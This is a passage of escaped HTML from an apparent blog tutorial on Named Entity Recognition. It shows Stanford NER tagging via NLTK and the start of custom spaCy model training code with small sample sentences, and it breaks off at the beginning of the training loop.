    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:100%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;400\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20400\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M196%2079a366%20366%200%2001-45%2019%204020%204020%200%2001-59%2027%20307%20307%200%2000-34%2015l-19%209-8%204c-9%204-11%206-11%209%202%204%205%203%2023-5%204-2%205-2%207-1h4l7-3%209-3a956%20956%200%200155-24%201777%201777%200%200071-30l3-3%2011%206a185%20185%200%200032%2012l10%204a542%20542%200%200068%2029l16%207c20%209%2036%2015%2037%2014l-1-1-1-1%204%201c5%202%207-3%203-5l-2-2-7-4a153%20153%200%2001-19-9%20185%20185%200%2001-20-9%201073%201073%200%2001-64-28%207187%207187%200%2001-56-25c-10-5-11-5-14-3m-5%2085l-14%203-3%201-2%201-1%201-4%202-3%202c-1%200-15%2015-15%2017l-3%205-3%207-1%203-2%2010c0%206%200%208%201%207l1-3%202-3c1-1%201-1%201%201l1%203%201-3c0-6%207-22%2013-28l4-6%202-2%203-2c8-8%2033-12%2045-8l8%202c10%200%2028%2023%2031%2041%202%208%203%209%205%206%204-4-3-27-10-36l-5-5c-8-8-17-13-27-15-8-2-20-2-25-1M65%20176l-3%201-7%203c-12%204-17%209-22%2018l-2%209v2c-1-2-4%2010-2%2013l1-1%201-4%201-4%201-2%201-3c0-2%209-15%2011-15l1-1%2015-7%203-1c1-3%2022-1%2030%203%208%205%2021%2020%2021%2026l1%202v4l1%203%201-3%201-4c4-3-1-16-10-25-5-6-15-12-22-13-5-1-20-2-22-1m251%200c-9%202-18%206-24%2012-5%204-11%2012-11%2014l-1%202c-2%201-3%205-4%2013%200%206%201%207%203%203l2-4%202-3c2-10%2012-22%2021-26%2013-7%2032-6%2044%202%205%203%2012%2010%2012%2012l1%201%207%2017c0%204%201%205%203%203h1c3%202-1-19-5-23l-1-2c0-2-12-13-16-15-10-6-23-8-34-6m-50%2091c0%2023%200%2027%202%2027l1-27-1-27c-2%200-2%204-2%2027m-117-19c-5%202-6%204-7%2010%200%204-1%206-2%207-3%201-2%203%200%203%202%201%202%201%202%2012%200%209-1%2011-2%2012-4%202-2%203%206%203s10-1%206-2c-2-1-3-5-3-16l1-8%203-1c2%200%203-1%203-2s-1-2-3-2c-3%200-4-1-4-4-1-8%204-12%208-8%202%201%203%202%204%201%205-5-5-9-12-5m87%200v2l2%206c0%207%200%207-4%207-5%200-13%203-15%207-3%204-3%2015-1%2019%204%205%2013%209%2016%206l8-1c8%200%209%200%206-3-2-1-2-2-2-23v-21h-4l-6%201m-209%203c-6%201-9%205-9%2010-1%205%201%208%209%2014%207%205%209%208%208%2011-1%206-13%206-16%201-2-4-3-3-3%202s2%206%2010%206c11%200%2016-4%2016-12%201-6-2-9-9-14-8-5-10-8-8-11%203-4%2011-4%2014%200%202%203%203%203%203-2v-5H27m257%200v44h6v-33l4%206%205%209%206%2010c4%208%204%208%207%208h4v-21c0-23%200-24-3-24s-3%201-3%2018v16l-7-11a1178%201178%200%2000-14-22l-2-1-3%201m41%200l-1%2022%201%2022h12c12%200%2013-1%2013-3s0-2-9-2h-9l-1-19c0-20-1-23-6-20m30%200l-1%2023%201%2021h6v-17h5c12%200%2019-6%2019-15%200-8-5-12-13-12l-12-1-5%201m6%205v16h6c12%200%2016-11%207-16h-13m-309%205l-4%204c-2%200-3%203-1%203l1%2010c0%2012%201%2015%207%2017%204%201%2010-1%2011-3%200-2%200-2-3-1-6%201-7-1-7-13v-10h5c4%200%206-1%206-2%200-2-1-2-5-2-5%200-6-1-6-4%200-4-1-4-4%201m24%204c-3%201-5%205-4%206l3-1c3-3%207-2%209%200%202%204%201%205-5%207s-10%205-10%209c0%207%206%2011%2013%209l5-1c2%202%207%201%208-1%202-2%202-3%200-3s-2-1-2-11c0-11-1-11-3-14-4-2-10-3-14%200m40-2l-8%202c-8%200-9%201-7%203%203%201%203%2023%201%2024-3%202-1%203%206%203%206%200%208-2%205-3s-3-23%200-23c3-2%206-1%208%201s2%203%202%2012c0%206-1%209-2%2010l-1%202%207%201c7%200%209-1%205-3-1-1-2-3-2-12%200-10-1-12-3-14s-10-4-11-3m49%202c-10%207-9%2024%200%2029%2012%206%2025-3%2024-17-2-12-14-18-24-12m42-1l-8%201c-7%200-10%201-6%202%203%201%203%204%203%2014%200%207-1%209-2%2011-3%203-3%203%206%203%206%200%208-1%208-2l-2-1c-2%200-2-1-2-11%200-13%200-14%206-11%202%202%205%200%205-4%200-2-7-4-8-2m-39%206c-3%203-3%2014%200%2018%204%205%2010%204%2012-3%203-12-5-23-12-15m62-2c-5%201-7%2010-5%2017%202%203%204%205%209%205h4v-11c0-10%200-10-3-11l-2-1-3%201\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/1c1141ed75dbdf0ab8861712a460625a/d7e55/stanford-ner.webp 225w&quot; sizes=&quot;(max-width: 225px) 100vw, 225px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/1c1141ed75dbdf0ab8861712a460625a/863e1/stanford-ner.jpg 225w&quot; sizes=&quot;(max-width: 225px) 100vw, 225px&quot; type=&quot;image/jpeg&quot;/&gt;
        &lt;img alt=&quot;Figure 7 - Stanford NLP&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/1c1141ed75dbdf0ab8861712a460625a/863e1/stanford-ner.jpg&quot; title=&quot;Figure 7 - Stanford NLP&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figure 7 - Stanford NLP&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;&lt;a href=&quot;https://nlp.stanford.edu/&quot;&gt;&lt;strong&gt;Stanford NLP&lt;/strong&gt;&lt;/a&gt; is a research group at Stanford University dedicated to NLP and which
has created a &lt;a href=&quot;https://nlp.stanford.edu/software/&quot;&gt;suite&lt;/a&gt; of tools for various nlp tasks including Named Entity Recognition.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;python&quot; data-index=&quot;3&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# import&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; nltk&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; nltk.tag.stanford &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; StanfordNERTagger&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# text to processing&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;sentence = &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;Sharon flew to Miami last friday&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# jar of the model&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;jar = &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;./stanford-ner-tagger/stanford-ner.jar&amp;#x27;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;model = &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;./stanford-ner-tagger/ner-model-english.ser.gz&amp;#x27;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# preparing ner tagger object with choosen jar&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;ner_tagger = StanfordNERTagger(model, jar, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;encoding&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;utf8&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# tokenization: splitting text&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;words = nltk.word_tokenize(sentence)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# performing ner tagger on words&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk11&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(ner_tagger.tag(words))&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 3 - Stanford NLP Ner&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;In this snippet, the &lt;a href=&quot;https://www.nltk.org/&quot;&gt;&lt;strong&gt;nltk&lt;/strong&gt;&lt;/a&gt; library is used to tokenize the textual content and transform it into a wordlist.
Subsequently this list is fed to the &amp;quot;ner tagger&amp;quot; which returns entities in output.&lt;/p&gt;&lt;h2 id=&quot;training-of-custom-models&quot;&gt;Training of custom models&lt;/h2&gt;&lt;p&gt;We have seen how at state-of-the-art there are tools and models already trained and how these can be used to identify
entities on own textual content. &lt;br/&gt;
But in many cases they turn out to be insufficient, both because we want to identify entities relating to different semantic categories, and because the models
pre-trained are not suitable for the data source on which they want to perform the entity recognition activity.
In these cases it is more convenient to train your own models for Named Entity Recognition, using your own data, which are
been tagged with the help of annotators, as seen in the previous section.&lt;/p&gt;&lt;p&gt;Here are two examples of training custom models, through the use of the &lt;a href=&quot;https://spacy.io/&quot;&gt;&lt;strong&gt;Spacy&lt;/strong&gt;&lt;/a&gt; library
and the Deep Learning library&lt;a href=&quot;https://www.tensorflow.org/&quot;&gt;&lt;strong&gt;Tensorflow&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;em&gt;Visit the &lt;a href=&quot;https://github.com/smclab/blog-nlp&quot;&gt;&lt;strong&gt;Github&lt;/strong&gt;&lt;/a&gt; repository where is presente the source code of the examples, described and executable in well documented &lt;strong&gt;jupyter notebook&lt;/strong&gt;.&lt;/em&gt;&lt;/p&gt;&lt;h4 id=&quot;spacy-1&quot;&gt;Spacy&lt;/h4&gt;&lt;p&gt;Spacy, as already mentioned, is a Machine Learning library, completely dedicated to the development of tools for the different tasks of
Natural Language Processing. It is a well-structured framework with advanced features, which make it very suitable for production contexts. &lt;br/&gt;
In addition to tools already trained and quickly usable, as seen in the previous section, it provides a whole
series of apis and functions through which you can create and train your own models, quickly and efficiently, without having to worry about
having to manage all the lower level aspects, which usually must be addressed during training of a Machine Learning model.&lt;/p&gt;&lt;p&gt;Spacy provides pre-defined and configurable pipelines for many NLP tasks, including Named Entity Recognition. Let&amp;#x27;s see how to train quickly
a model for this task with a few lines of code, without having to manage aspects concerning the definition of the model architecture, management
data rather than model management.&lt;/p&gt;&lt;p&gt;In this first code snippet:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;the necessary libraries are imported&lt;/li&gt;&lt;li&gt;a sample of the training data is defined in &lt;strong&gt;jsonl&lt;/strong&gt; format, which in a real context should instead be read from a specific file with the training data&lt;/li&gt;&lt;li&gt;a new model is initialized or an existing model is loaded from which to start training&lt;/li&gt;&lt;li&gt;the &amp;quot;ner&amp;quot; pipeline in the model is initialized, if this is not already present&lt;/li&gt;&lt;/ul&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;python&quot; data-index=&quot;4&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;__future__&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; unicode_literals, print_function&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; random&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; warnings&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; spacy&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; spacy.util &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; minibatch, compounding&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# training data&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;TRAIN_DATA = [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    (&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;Sharon flew to Miami last friday&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, {&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;entities&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: [(&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;PERSON&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;), (&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;15&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;20&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;LOC&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;), (&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;26&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;32&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;DATE&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)]}),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    (&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;Daniele works in Rome for SMC Treviso&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, {&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;entities&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: [(&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;PERSON&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;), (&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;16&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;20&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;LOC&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;), (&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;25&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;36&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;ORG&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)]}),&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;model=&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;None&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;output_dir=&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;None&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;n_iter=&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;100&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;&amp;quot;&amp;quot;Load the model, set up the pipeline and train the entity recognizer.&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; model &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;is&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;not&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;None&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    nlp = spacy.load(model)  &lt;/span&gt;&lt;span class=&quot;mtk3&quot;&gt;# load existing spaCy model&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;Loaded model &amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;%s&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; % model)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    nlp = spacy.blank(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;en&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)  &lt;/span&gt;&lt;span class=&quot;mtk3&quot;&gt;# create blank Language class&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;Created blank &amp;#x27;en&amp;#x27; model&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# create the built-in pipeline components and add them to the pipeline&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# nlp.create_pipe works for built-ins that are registered with spaCy&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;ner&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;not&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; nlp.pipe_names:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    ner = nlp.create_pipe(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;ner&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    nlp.add_pipe(ner, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;last&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;True&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# otherwise, get it so we can add labels&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    ner = nlp.get_pipe(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;ner&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# add labels&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; _, annotations &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; TRAIN_DATA:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; ent &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; annotations.get(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;entities&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        ner.add_label(ent[&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;])&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 4 - Initialization of a model in Spacy&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;The actual training logic is instead implemented in the following code. &lt;br/&gt;
Model pipelines are initially filtered, disabling any unnecessary ones to train a model
for the recognition of entities.
Then on the basis of the specified number of iterations, iterates over the data, which are divided into minibatches,
and update the parameters of the model iteration after iteration. The &lt;strong&gt;Dropout&lt;/strong&gt; can be configured depending on
needs. &lt;br/&gt;
The example prints the model loss at the end of each training iteration.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;python&quot; data-index=&quot;5&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# get names of other pipes to disable them during training&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;pipe_exceptions = [&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;ner&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;trf_wordpiecer&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;trf_tok2vec&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
